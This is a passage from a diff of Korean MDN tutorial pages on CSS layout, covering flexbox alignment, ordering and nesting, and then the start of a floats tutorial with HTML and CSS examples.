+<p>또한 flexbox 기능을 사용하여 기본 축 또는 교차축을 따라 flex item을 정렬할수 있습니다. 이 기능은 새로운 예제인 <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flex-align0.html">flex-align0.html</a>을 통해 살펴보자(<a href="http://mdn.github.io/learning-area/css/css-layout/flexbox/flex-align0.html">라이브로도 보세요</a>). flexbox가 우리는 깔끔한 flex형 단추/툴바로 바뀌게될 겁니다. 지금 당장은 몇몇 단추들이 왼쪽 상단 모서리에 몰린 상태의 수평 메뉴 표시줄이 보입니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13414/flexbox-example5.png" style="display: block; height: 77px; margin: 0px auto; width: 600px;"></p>
+
+<p>우선 이 예제의 사본을 취득합니다.</p>
+
+<p>이제 예제의 CSS의 맨 아래에 다음 내용을 추가하세요:</p>
+
+<pre class="brush: css">div {
+  display: flex;
+  align-items: center;
+  justify-content: space-around;
+}</pre>
+
+<p>페이지를 새로 고치면 단추가 수평 및 수직으로 중심이 잘 맞춰져 있음을 알 수 있습니다. 우리는 두 가지 새로운 속성을 통해 이 작업을 수행했습니다.</p>
+
+<p>{{cssxref("align-items")}} 속성은 flex item이 교차축 어디에 놓일 지를 제어합니다.</p>
+
+<ul>
+ <li>이 속성값은 기본값으로 <code>stretch</code>입니다. 이 값은 교차축 방향으로 부모 요소를 채우기 위해 모든 flex item을 연장합니다. 부모가 교차 축 방향으로 고정폭이 주어지지 않았다면 모든 flex item이 최장 항목만큼 길어집니다. 이런 방식으로 우리의 첫 번째 예제가 기본값으로 같은 높이의 열을 얻게 된 것입니다.</li>
+ <li>우리가 위의 코드에서 사용한 <code>center</code> 값은 항목 무리가 자기들 고유의 면적를 유지하는 동시에 교차축을 따라 중심에 놓이게 만듭니다. 그런 까닭에 현재 예제 속 단추가 수직으로 중심에 놓여있습니다.</li>
+ <li>또한 교차축의 시작과 끝에 맞춰 모든 항목을 정렬하게 해주는 <code>flex-start</code>와 <code>flex-end</code>와 같은 값도 가질 수 있습니다. 자세한 내용은 {{cssxref("align-items")}}을 참조하십시오.</li>
+</ul>
+
+<p>{{cssxref("align-self")}} 속성을 단추에 적용함으로써 flex item에 속한 개별 항목에 대한 {{cssxref("align-items")}}동작을 재지정할 수 있습니다. 예를 들어 다음을 CSS에 추가해보세요:</p>
+
+<pre class="brush: css">button:first-child {
+  align-self: flex-end;
+}</pre>
+
+<p>이것이 어떤 효과를 미치는지 한번 보고, 다 보았다면 다시 제거하세요.</p>
+
+<p>{{cssxref("justify-content")}}는 flex item 무리가 기본 축 상 어디에 놓이는지를 제어합니다.</p>
+
+<ul>
+ <li>기본값은 <code>flex-start</code>이며, 이는 모든 항목이 기본 축의 시작 부분에 놓이도록 만듭니다.</li>
+ <li>당신은 <code>flex-end</code>를 사용하여 항목 무리를 기본 축의 가장자리에 놓이도록 만들 수도 있습니다.</li>
+ <li><code>center</code>는 <code>justify-content</code>를 대체할 수 있는 값으로 flex item 무리를 기본 축의 중심에 놓이도록 만들겁니다.</li>
+ <li>우리가 위에서 사용했던 값인 <code>space-around</code>는 유용합니다. 모든 항목을 기본 축을 따라 고르게 분배하고 양쪽 끝에 약간의 공간도 남겨 놓습니다.</li>
+ <li>그 외에도 <code>space-between</code>이라는 값도 있습니다. 이는 <code>space-around</code>와 매우 흡사하다. 다만 이것은 양쪽 끝에 공간을 남기지 않습니다.</li>
+</ul>
+
+<p>우리는 진도를 더 나가기 전에 여러분이 이들 값을 가지고 어떻게 작동하는지 시험해보라고 권장하고 싶습니다.</p>
+
+<h2 id="flex_item_순서_정하기">flex item 순서 정하기</h2>
+
+<p>flexbox에는 소스 순서에 영향을 미치지 않고 flex item의 레이아웃 순서를 변경하는 기능도 있습니다. 이는 전통적인 레이아웃 메서드로는 불가능했던 내용입니다.</p>
+
+<p>이를 위한 코드는 간단합니다: 당신의 단추표시줄 예제 코도에 다음과 같은 CSS를 추가해 보십시요:</p>
+
+<pre class="brush: css">button:first-child {
+  order: 1;
+}</pre>
+
+<p>페이지를 새로 고치면 이제 "스마일" 단추가 기본 축의 끝으로 이동한 것이 확인될 겁니다. 어떻게 이런 식으로 작동하는지 좀 더 상세히 얘기해 보겠습니다:</p>
+
+<ul>
+ <li>기본값으로 모든 flex item들은 {{cssxref("order")}} 값이 0입니다.</li>
+ <li>순위값이 높은 flex item들은 디스플레이 순서상 순위값이 낮은 항목들보다 나중에 나타납니다.</li>
+ <li>순위값이 동일한 항목들은 소스 순서대로 나타납니다. 따라서 4개 항목의 순서값이 각기 2, 1, 1, 0로 설정된 경우 표시 순서는 제4, 제2, 제3, 제1 순이 됩니다.</li>
+ <li>제 3항목은 동일한 순서값을 가지고 있지만, 소스 순서 상 제 2항목 뒤에 있기 때문에 제 2 항목 뒤에 나타납니다.</li>
+</ul>
+
+<p>당신은 0 지정 항목보다 일찍 항목을 표시하도록 음수 순서 값을 설정할 수 있습니다. 예를 들어, 다음 규칙을 사용하여 "Blush" 단추를 기본 축의 시작 부분에 표시할 수 있습니다:</p>
+
+<pre class="brush: css">button:last-child {
+  order: -1;
+}</pre>
+
+<h2 id="중첩된_flexbox_box">중첩된 flexbox box</h2>
+
+<p>flexbox를 사용하여 꽤 복잡한 레이아웃을 만들 수 있습니다. flex item을 flex container로 설정해도 전혀 문제없습니다. 그렇게 되면 그 컨테이너의 자녀가 flexbox처럼 배치됩니다. <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/complex-flexbox.html">complex-flexbox.html</a>를 찾아보세요. (<a href="http://mdn.github.io/learning-area/css/css-layout/flexbox/complex-flexbox.html">라이브로도 보세요</a>).</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13418/flexbox-example7.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<p>이를 위한 HTML은 상당히 간단합니다. 세 개의 {{htmlelement("article")}}를 포함하는 {{htmlelement("section")}} 요소가 있습니다. 세 번째 {{htmlelement("article")}}은 세 개의 {{htmlelement("div")}}를 포함하고 있습니다. :</p>
+
+<pre>section - article
+          article
+          article - div - button
+                    div   button
+                    div   button
+                          button
+                          button</pre>
+
+<p>앞의 레이아웃에 사용했던 코드를 살펴봅시다.</p>
+
+<p>먼저 {{htmlelement("section")}}의 자식들을 flexbox로 취급해 배치하였습니다.</p>
+
+<pre class="brush: css">section {
+  display: flex;
+}</pre>
+
+<p>다음으로 {{htmlelement("article")}} 무리 자체에 대해 약간의 flex 값을 설정하였습니다. 여기서 두 번째 규칙에 주목하십시오. 우리는 세 번째 {{htmlelement("article")}}이 자기 자식들을 flex item처럼 배치하도록 설정하고 있습니다. 그러나 이번에는 열처럼 배치하고 있습니다.</p>
+
+<pre class="brush: css">article {
+  flex: 1 200px;
+}
+
+article:nth-of-type(3) {
+  flex: 3 200px;
+  display: flex;
+  flex-flow: column;
+}
+</pre>
+
+<p>다음으로 첫 번째 {{htmlelement("div")}}를 선택합니다. 우리는 먼저 선택된 요소에 100px의 최소 높이를 효과적으로 주기 위해 <code>flex:1 100px;</code>을 사용합니다. 그리고 나서 우리는 그것의 자식들을 ({{htmlelement("button")}} 요소 무리를) flex item처럼 배치하도록 설정했습니다. 여기서 우리는 그것들을 줄 바꿈 행에 배치하고, 우리가 앞서 본 개별 단추 예제에서 했던 것처럼 사용 가능한 공간의 중심에 정렬합니다.</p>
+
+<pre class="brush: css">article:nth-of-type(3) div:first-child {
+  flex:1 100px;
+  display: flex;
+  flex-flow: row wrap;
+  align-items: center;
+  justify-content: space-around;
+}</pre>
+
+<p>마지막으로, 우리는 단추에 약간의 크기를 설정하되, 다소 흥미롭게도 1 auto라는 flex 값을 부여합니다. 이것은 매우 흥미로운 효과를 지니게 되는데, 브라우저 창의 폭을 조정해 보면 확인됩니다. 단추는 최대한의 공간을 점유할 뿐만아니라 동일 선상에 가능한 한 많은 요소를 놓으려고 합니다. 그러나 해당 요소들이 더 이상 동일 선상에 안착할 수 없을 경우 새로운 라인으로 밀려납니다.</p>
+
+<pre class="brush: css">button {
+  flex: 1 auto;
+  margin: 5px;
+  font-size: 18px;
+  line-height: 1.5;
+}</pre>
+
+<h2 id="크로스_브라우저_호환성">크로스 브라우저 호환성</h2>
+
+<p>flexbox 지원은 파이어폭스, 크롬, 오페라, 마이크로소프트 에지 및 인터넷 익스플로러 11, 안드로이드 및 iOS 최신 버전 등 대부분의 신형 브라우저에서 사용할 수 있습니다. 그러나 flexbox를 지원하지 않는 (또는 지원하지만, 실제로 구식 버전의 flexbox를 지원하는) 구형 브라우저 사용자가 여전히 존재한다는 것을 알아야 합니다.</p>
+
+<p>여러분이 단지 기술을 익히고 실험할 뿐이라면 호환성 문제는 그다지 중요하지 않습니다; 그러나 만약 여러분이 실제 웹사이트에서 flexbox의 사용을 고려하고 있다면, 여러분은 (구형 브라우저에서) 테스트를 수행해야 하고, 최대한 다양한 브라우저 사용자들이 수용할만한 사이트 방문 경험을 보장할 필요가 있습니다.</p>
+
+<p>flexbox는 몇몇 CSS 기능보다 다소 까다롭습니다. 예를 들어 브라우저에 CSS 그림자 기능이 빠진 경우 해당 사이트을 여전히 사용할 수 있습니다. 그러나 flexbox 기능을 지원하지 않을 경우 레이아웃이 완전히 깨져서 사용할 수 없게 됩니다.</p>
+
+<p><a href="/ko/docs/Learn/Tools_and_testing/Cross_browser_testing">크로스 브라우저 테스트</a> 단원에서 크로스 브라우저 지원 문제를 극복하기 위한 전략에 대해 논의합니다.</p>
+
+<h2 id="요약정리">요약정리</h2>
+
+<p>이로써 flexbox의 기본 안내서를 마감합니다. 재미있는 경험이었기 바라며, 당신이 학습 진도를 더해 갈수록 flexbox를 자유자제로 다룰 수 있게 될 겁니다. 다음으로 CSS 레이아웃의 또 다른 중요한 측면인 CSS grid를 살펴볼 것입니다.</p>
+
+<div>{{PreviousMenuNext("Learn/CSS/CSS_layout/Normal_Flow", "Learn/CSS/CSS_layout/Grids", "Learn/CSS/CSS_layout")}}</div>
+
+<div>
+<h2 id="이번_단위에는">이번 단위에는</h2>
+
+<ul>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Introduction">CSS 레이아웃 소개</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/일반_흐름">일반 대열</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Flexbox">flexbox</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Grids">grid</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Floats">부동체</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/위치잡기">위치잡기</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">다단 레이아웃</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/반응형_디자인">반응형 디자인</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/미디어_쿼리_초보자_안내서">미디어 쿼리 초보자 안내서</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/레거시_조판_메서드">레거시 레이아웃 메서드</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/%EC%9D%B4%EC%A0%84_%EB%B8%8C%EB%9D%BC%EC%9A%B0%EC%A0%80_%EC%A7%80%EC%9B%90">이전 브라우저 지원</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">레이아웃 이해도 필수 평가</a></li>
+</ul>
+</div>
diff --git a/files/ko/learn/css/css_layout/floats/index.html b/files/ko/learn/css/css_layout/floats/index.html
new file mode 100644
index 0000000000..0ee594b2eb
--- /dev/null
+++ b/files/ko/learn/css/css_layout/floats/index.html
@@ -0,0 +1,517 @@
+---
+title: Floats
+slug: Learn/CSS/CSS_layout/Floats
+tags:
+  - 다단
+  - 안내서
+  - 정리
+  - 초보자
+  - 코딩스크립팅
+translation_of: Learn/CSS/CSS_layout/Floats
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/CSS/CSS_layout/Grids", "Learn/CSS/CSS_layout/Positioning", "Learn/CSS/CSS_layout")}}</div>
+
+<p class="summary">원래 텍스트 블록 내에서 float 이미지를 위한 {{cssxref("float")}} 속성은 웹 페이지에서 다단 레이아웃을 생성할 용도로 가장 널리 사용되는 도구 중 하나로 자리매김했었습니다. flexbox와 grid의 출현과 함께 float 속성은 이 문서에서 설명하겠지만, 원래의 목적대로 돌아갔습니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">선결 사항:</th>
+   <td>HTML의 기초 (<a href="/ko/docs/Learn/HTML/Introduction_to_HTML">HTML 입문서</a>)와 CSS 작동 방식에 대한 개념(<a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">CSS 입문서</a>를 공부하세요.)</td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>웹페이지상에 float 기능을 생성하는 방법과 clear 속성과 floats clearing 을 배웁니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="floats의_배경">floats의 배경</h2>
+
+<p>float 속성은 웹 개발자가 텍스트 열 내부에 float하는 이미지를 포함하고, 아울러 해당 이미지의 좌측 우측 주변으로 텍스트를 둘러싸는 간단한 레이아웃을 구현할 수 있도록 도입되었습니다. 이런 것은 신문 레이아웃에서 볼 수 있는 종류입니다.</p>
+
+<p>그러나 웹 개발자들은 이미지뿐만 아니라 무엇이든 float할 수 있음을 빠르게 깨달았고, 그래서 floats 사용이 확대되었습니다. 앞서 살펴본 <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Pseudo-classes_and_pseudo-elements#Active_learning_A_fancy_paragraph">고급 단락 예제</a>는 재미있는 드롭캡 효과를 생성하는 데 floats를 어떻게 사용할 수 있는지를 보여줍니다.</p>
+
+<p>floats는 일반적으로 상대 요소와 나란히 놓이도록 float(浮動)하는 다단 정보를 갖춘 웹 사이트의 전체 레이아웃을 만들는데 널리 사용되어 왔다(기본 행동은 다단 무리가 소스에서 보이는 순서와 같은 순서대로 상대 요소 아래에 자리잡기하는 것이다). 더 새롭고 더 나은 레이아웃 기술이 나와있으므로 이러한 방식으로 floats를 사용하는 것은 <a href="/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">낡은 기술</a>로 간주되어야 합니다.</p>
+
+<p>이 문서에서는 floats의 적절한 용도에 집중할 것입니다.</p>
+
+<h2 id="간단한_float_예제">간단한 float 예제</h2>
+
+<p>floats를 어떻게 사용하는지 알아보자. 우리는 요소 주위에 텍스트 블록을 float하는 것이 포함된 아주 간단한 예제로 시작할 것입니다. 아래 내용을 따라하려면 당신의 컴퓨터에 <code>index.html</code> 파일을 새로 작성하여, 거기에 <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">간단한 HTML 템플릿</a>으로 채우고, 파일 내부의 적절한 위치에 아래 코드를 삽입하면 됩니다. 해당 섹션의 맨 아래에는 최종 코드가 어떻게 생겼는지에 대한 실제 예제가 있습니다.</p>
+
+<p>첫째, 간단한 HTML로 시작하겠습니다. HTML body 부분에 다음 내용을 추가하고, body 안에 있었던 모든 내용을 제거합니다.</p>
+
+<pre class="brush: html">&lt;h1&gt;간단한 float 예제&lt;/h1&gt;
+
+&lt;div class="box"&gt;float&lt;/div&gt;
+
+&lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. &lt;/p&gt;
+
+&lt;p&gt;Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+
+&lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.&lt;/p&gt;</pre>
+
+<p>이제 다음 CSS를 HTML에 적용하십시요.({{htmlelement("style")}} 요소를 사용할지 개별 <code>.css</code> 파일에 대한 {{htmlelement("link")}}를 사용할지는 당신의 선택 여하에 달려있습니다.):</p>
+
+<pre class="brush: css">body {
+  width: 90%;
+  max-width: 900px;
+  margin: 0 auto;
+  font: .9em/1.2 Arial, Helvetica, sans-serif
+}
+
+.box {
+  width: 150px;
+  height: 100px;
+  border-radius: 5px;
+  background-color: rgb(207,232,220);
+  padding: 1em;
+}</pre>
+
+<p>지금 저장하고 새로 고침하면, 여러분이 기대한 것과 비슷한 것을 보게 될 것입니다. 다시말해 일반 대열에 속한 상자는 텍스트 위에 위치를 잡고 있습니다. 텍스트가 상자 주변에 float하려면 아래에서 보듯 <code>.box</code> 규칙에 두 가지 속성을 추가하십시요.</p>
+
+<pre class="brush: css">.box {
+  float: left;
+  margin-right: 15px;
+  width: 150px;
+  height: 100px;
+  border-radius: 5px;
+  background-color: rgb(207,232,220);
+  padding: 1em;
+}</pre>
+
+<p>이제 저장하고 새로 고침하면 다음과 같은 것을 볼 수 있습니다.</p>
+
+<div id="부동_1">
+<div class="hidden">
+<h6 id="float_예제_1">float 예제 1</h6>
+
+<pre class="brush: html">&lt;h1&gt;간단한 float 예제&lt;/h1&gt;
+
+&lt;div class="box"&gt;float&lt;/div&gt;
+
+&lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. &lt;/p&gt;
+
+&lt;p&gt;Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+
+&lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.&lt;/p&gt;
+</pre>
+
+<pre class="brush: css">body {
+  width: 90%;
+  max-width: 900px;
+  margin: 0 auto;
+  font: .9em/1.2 Arial, Helvetica, sans-serif
+}
+
+.box {
+  float: left;
+  margin-right: 15px;
+  width: 150px;
+  height: 150px;
+  border-radius: 5px;
+  background-color: rgb(207,232,220);
+  padding: 1em;
+}
+</pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('float_1', '100%', 500) }}</p>
+
+<p>이제 floats가 어떻게 작동하는지 생각해 봅시다. floats로 설정된 대상 요소(이 경우 {{htmlelement("div")}} 요소)는 문서의 일반 레이아웃 대열에서 들어내어 부모 콘테이너(이 경우는 {{htmlelement("body")}})의 왼편에 고정되어 있습니다. 일반 레이아웃 대열에서 float 요소 아래에 오는 모든 콘텐츠는 이제 그 주변을 감싸게 되며, 애초 해당 float 요소가 있던 상층부를 포함해 오른쪽으로 공간을 차지합니다. 거기서 멈추게 됩니다.</p>
+
+<p>콘텐츠를 오른쪽으로 float하는 것은 정확히 같은 효과를 가져 오지만, float 요소는 역으로 오른쪽에 고정되고 컨텐츠는 float 요소의 왼쪽 주변을 둘러싸게 됩니다. 직전 CSS 규칙 집합에서 float 값을 <code>right</code>로 변경하고 {{cssxref("margin-right")}}를 {{cssxref("margin-left")}}로 대체해 그 결과가 무엇인지 확인하십시오.</p>
+
+<p>텍스트를 밀어내도록 float에 여백을 추가할 수 있지만, float 로부터 텍스트를 이동시키기 위해 텍스트에 여백을 추가할 수는 없습니다. 왜 그런가하면 float 요소가 일반 대열에서 이탈된 상태이고, 후속 항목에 속한 상자 무리가 실제로 동 float 의 뒤에 나열되기 때문입니다. 당신의 예제에 일부 내용을 변경해보면 그점을 증명할 수 있습니다.</p>
+
+<p>float 상자의 바로 뒤에 있는 텍스트 형태의 첫 번째 단락에 <code>special</code> 클래스를 추가하십시요. 그 다음에 당신의 CSS에 다음 규칙을 추가합니다. 이들 규칙에 따라 당신의 후속 단락에는 배경색이 주어집니다.</p>
+
+<pre class="brush: css">.special {
+  background-color: rgb(79,185,227);
+  padding: 10px;
+  color: #fff;
+}
+</pre>
+
+<p>해당 효과를 쉽게 확인해보려면 float에 대한 <code>margin-right</code>를 <code>margin</code>으로 대체하여 float의 주변 전체에 공간을 확보하십시오. 아래 예제에서와 같이 단락의 배경이 float 상자 바로 아래에서 펼쳐지는 것을 확인할 수 있습니다.</p>
+
+<div id="부동_2">
+<div class="hidden">
+<h6 id="float_예제_2">float 예제 2</h6>
+
+<pre class="brush: html">&lt;h1&gt;간단한 float 예제&lt;/h1&gt;
+
+&lt;div class="box"&gt;float&lt;/div&gt;
+
+&lt;p class="special"&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. &lt;/p&gt;
+
+&lt;p&gt;Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+
+&lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.&lt;/p&gt;    </pre>
+
+<pre class="brush: css">body {
+  width: 90%;
+  max-width: 900px;
+  margin: 0 auto;
+  font: .9em/1.2 Arial, Helvetica, sans-serif
+}
+
+.box {
+  float: left;
+  margin: 15px;
+  width: 150px;
+  height: 150px;
+  border-radius: 5px;
+  background-color: rgb(207,232,220);
+  padding: 1em;
+}
+
+.special {
+  background-color: rgb(79,185,227);
+  padding: 10px;
+  color: #fff;
+}
+</pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('float_2', '100%', 500) }}</p>
+
+<p>우리의 후속 요소에 속한 라인 상자가 짧아져서 텍스트가 floats 주위로 펼쳐지고 있지만, floats가 일반 대열에서 제거되었기 때문에 단락 주변 상자는 여전히 전체 너비로 유지하고 있습니다.</p>
+
+<h2 id="floats_정리하기">floats 정리하기</h2>
+
+<p>우리는 float가 일반 대열에서 제거되고 다른 요소가 그 옆에 표시되는 것을 보았습니다. 따라서 후속 요소가 치고 올라오는 것을 막으려면 그것을 정리해야 합니다. 그것은 {{cssxref("clear")}} 속성으로 달성됩니다.</p>
+
+<p>이전 예제에서 당신이 사용한 HTML에서 float 항목 아래에 위치한 두 번째 단락에 <code>cleared</code> 클래스를 추가하십시요. 그 뒤 당신의 CSS에 다음 내용을 추가하세요.</p>
+
+<pre class="brush: css">.cleared {
+  clear: left;
+}
+</pre>
+
+<div id="부동_3">
+<div class="hidden">
+<h6 id="float_예제_3">float 예제 3</h6>
+
+<pre class="brush: html">&lt;h1&gt;간단한 float 예제&lt;/h1&gt;
+
+&lt;div class="box"&gt;float&lt;/div&gt;
+
+&lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. &lt;/p&gt;
+
+&lt;p class="cleared"&gt;Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+
+&lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.&lt;/p&gt;
+    </pre>
+
+<pre class="brush: css">body {
+  width: 90%;
+  max-width: 900px;
+  margin: 0 auto;
+  font: .9em/1.2 Arial, Helvetica, sans-serif
+}
+
+.box {
+  float: left;
+  margin: 15px;
+  width: 150px;
+  height: 150px;
+  border-radius: 5px;
+  background-color: rgb(207,232,220);
+  padding: 1em;
+}
+
+.cleared {
+  clear: left;
+}
+</pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('float_3', '100%', 600) }}</p>
+
+<p>다음 단락은 float 요소를 clear 하며, 더 이상 그 옆에 부상하지 않음을 알아야 합니다. <code>clear</code> 속성은 다음과 같은 값을 받아들입니다:</p>
+
+<ul>
+ <li><code>left</code>: 왼쪽에 부상한 항목들 clear</li>
+ <li><code>right</code>: 오른쪽에 부상한 항목들 clear</li>
+ <li><code>both</code>: 왼쪽 오른쪽 관계 없이 부상한 항목들 clear</li>
+</ul>
+
+<h2 id="floats_주변을_둘러싼_상자_정리하기">floats 주변을 둘러싼 상자 정리하기</h2>
+
+<p>이제 당신은 float 요소를 후속하는 무언가를 정리하는 방법을 알고 있지만, 장신 floats와 단신 단락이 있고 두 요소 주변을 둘러싼 하나의 상자가 있을 경우에는 어떤 일이 일어나는지 살펴보십시요. 첫 단락과 우리의 float 상자가 <code>wrapper</code> 클래스에 해당하는 {{htmlelement("div")}} 요소로 둘러싸지도록 문서를 변경하십시오.</p>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box"&gt;float&lt;/div&gt;
+
+  &lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate.&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<p>당신의 CSS에 <code>.wrapper</code> 클래스에 대해 다음 규칙을 추가한 뒤 페이지를 새로 고침하십시오.</p>
+
+<pre class="brush: css">.wrapper {
+  background-color: rgb(79,185,227);
+  padding: 10px;
+  color: #fff;
+}</pre>
+
+<p>원형 <code>.cleared</code> 클래스에 추가된 것입니다.</p>
+
+<pre class="brush: css" id="ct-0">.cleared {
+    clear: left;
+}</pre>
+
+<p>여러분이 보게 될 것은 문단에 배경 이미지를 놓는 예제에서와 비슷하게 배경색이 floats 뒤에서 펼쳐지고 있습니다.</p>
+
+<div id="부동_4">
+<div class="hidden">
+<h6 id="float_예제_4">float 예제 4</h6>
+
+<pre class="brush: html">&lt;h1&gt;간단한 float 예제&lt;/h1&gt;
+&lt;div class="wrapper"&gt;
+  &lt;div class="box"&gt;float&lt;/div&gt;
+
+  &lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. &lt;/p&gt;
+&lt;/div&gt;
+
+&lt;p class="cleared"&gt;Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+
+&lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.&lt;/p&gt;    </pre>
+
+<pre class="brush: css">body {
+  width: 90%;
